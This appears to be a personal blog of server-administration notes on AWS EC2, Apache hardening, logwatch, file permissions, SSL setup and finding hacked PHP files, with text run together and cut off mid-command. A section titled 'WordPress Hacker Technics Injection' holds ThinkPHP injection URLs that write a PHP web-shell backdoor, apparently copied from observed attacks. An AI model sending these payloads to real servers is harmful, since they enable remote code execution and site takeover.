Below find url that will allow your ec2 servers to send emails
https://console.aws.amazon.com/support/contacts?#/rdns-limits
Categories
Category: Hacker
Install logwatch
yum install logwatch
send logwatch email
logwatch --detail Low --mailto [email protected] --service http --range today
Logwatch configuration file
vim /usr/share/logwatch/default.conf/logwatch.conf
Install mod security24 very important
yum install mod24_security
Then add the following right after it and restart apache to activate. # Second, we configure the "default" Location to restrict the methods allowed # to stop CONNECT method attacks. #
I don’t like the idea of my server responding to requests for random hostnames, even if it serves local content. How can I deny these requests?
<VirtualHost *:80>
ServerName default.only
<Location />
Order allow,deny
Deny from all
</Location>
</VirtualHost>
Categories
How to Find php hacked files ?
grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}'Type who the -u flag; the PID is the number off to the right:
> who -u ec2-user pts/1 2019-11-14 16:52 00:02 16035 (104.245.199.125)
Look up the process ID of the shell their TTY is connected to:> ps t PID TTY STAT TIME COMMAND16035pts/1Ss 0:00 zshLaugh at their impending disconnection (this step is optional, but encouraged)> echo "HAHAHAHAHAHAHAHA" | writeec2-userpts/1Kill the corresponding process:> kill -916035
Categories
WordPress Hacker Technics Injection
https://xxxxxx.com/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=atpko.php&vars[1][]=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');
https://xxxxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');
https://xxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=
Files
find . -type f -print0 | xargs -0 chmod 0400
Directory
find . -type d -print0 | xargs -0 chmod 0500
Categories
Files Permission – Unix Server
- Folders – 755
- Files – 644
- wp-config.php – 600
- .htaccess – 644, or 600
Unix command for directories 755
find . -type d -print0 | xargs -0 chmod 0755 sudo find . -type d -print0 | sudo xargs -0 chmod 0755
Unix command for files 644
find . -type f -print0 | xargs -0 chmod 0644 sudo find . -type f -print0 | sudo xargs -0 chmod 0644
Find hacked files
grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}'
Refer to
https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.WebServerDB.CreateWebServer.html
Free SSL – Let’s encrypt
https://certbot.eff.org/lets-encrypt/debianjessie-apache
SSL INSTALLATION
wget https://dl.eff.org/certbot-auto sudo mv certbot-auto /usr/local/bin/certbot-auto sudo chown root /usr/local/bin/certbot-auto chmod 0755 /usr/local/bin/certbot-auto sudo /usr/local/bin/certbot-auto --apache
(1) modify –> /etc/httpd/conf.d/ssl.conf
(2) make sure you close http via aws inbount and ACL
THE SSL COMMAND
sudo /usr/local/bin/certbot-auto --apache
Activate htaccess
<Directory /var/www/xxxx>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Require all granted
</Directory>
Proper Directory and file permission
Directories 775
Files 664
Unix command for directories 755
find . -type d -print0 | xargs -0 chmod 0755
sudo find . -type d -print0 | sudo xargs -0 chmod 0755
Unix command for files 644
find . -type f -print0 | xargs -0 chmod 0644
sudo find . -type f -print0 | sudo xargs -0 chmod 0644
Unix User Apache
sudo chown -R apache:apache .
Find hacked files
grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}'
Create instance ec2 with ssh access
(1) create ec2 instance
(2) create vpc Make usre to have public IPV4 dns
Get your VPC ID from your EC2 dashboard.
Go to VPC dashboard. Select your VPC with VPC ID.
Click on Actions and Select "Edit DNS Hostnames".
Select Yes and click Save.
Now you can find Public DNS IPv4 value in EC2 dashboard.
(3) create subnet – 172.30.3.0/24 250 available ip addresses make sure auto-assign IPV 4
(4) create internet gateway
(5) create route tables – ADD 0.0.0.0/0 to internet gateway
Install without verification
yum update -y
apache web server
<VirtualHost *:80>
DocumentRoot "/www/docs/host.example.com"
ServerName ec2-3-88-63-157.compute-1.amazonaws.comm
ErrorLog "logs/host.example.com-error_log"
TransferLog "logs/host.example.com-access_log"
</VirtualHost>
SSL
wget https://dl.eff.org/certbot-auto
[email protected]:~$ wget https://dl.eff.org/certbot-auto
[email protected]:~$ sudo mv certbot-auto /usr/local/bin/certbot-auto
[email protected]:~$ sudo chown root /usr/local/bin/certbot-auto
[email protected]:~$ chmod 0755 /usr/local/bin/certbot-auto
[email protected]:~$ /usr/local/bin/certbot-auto --help
/usr/local/bin/certbot-auto --debug --apache certonly -d raleche.com
Install new php package
sudo amazon-linux-extras install -y lamp-mariadb10.2-php7.2 php7.2
sudo amazon-linux-extras enable php7.3
sudo yum -y install php-cli php-pdo php-fpm php-json php-mysqlnd
Start the Apache web server.
[ec2-user ~]$ sudo systemctl start httpd
Use the systemctl command to configure the Apache web server to start at each system boot.
[ec2-user ~]$ sudo systemctl enable httpd
You can verify that httpd is on by running the following command:
[ec2-user ~]$ sudo systemctl is-enabled httpd
To ensure that all of your software packages are up to date, perform a quick software update on your instance. This process may take a few minutes, but it is important to make sure that you have the latest security updates and bug fixes.
The -y option installs the updates without asking for confirmation. If you would like to examine the updates before installing, you can omit this option.
[ec2-user ~]
$ sudo yum update -y Install the lamp-mariadb10.2-php7.2 and php7.2 Amazon Linux Extras repositories to get the latest versions of the LAMP MariaDB and PHP packages for Amazon Linux 2.
[ec2-user ~]
$ sudo amazon-linux-extras install -y lamp-mariadb10.2-php7.2 p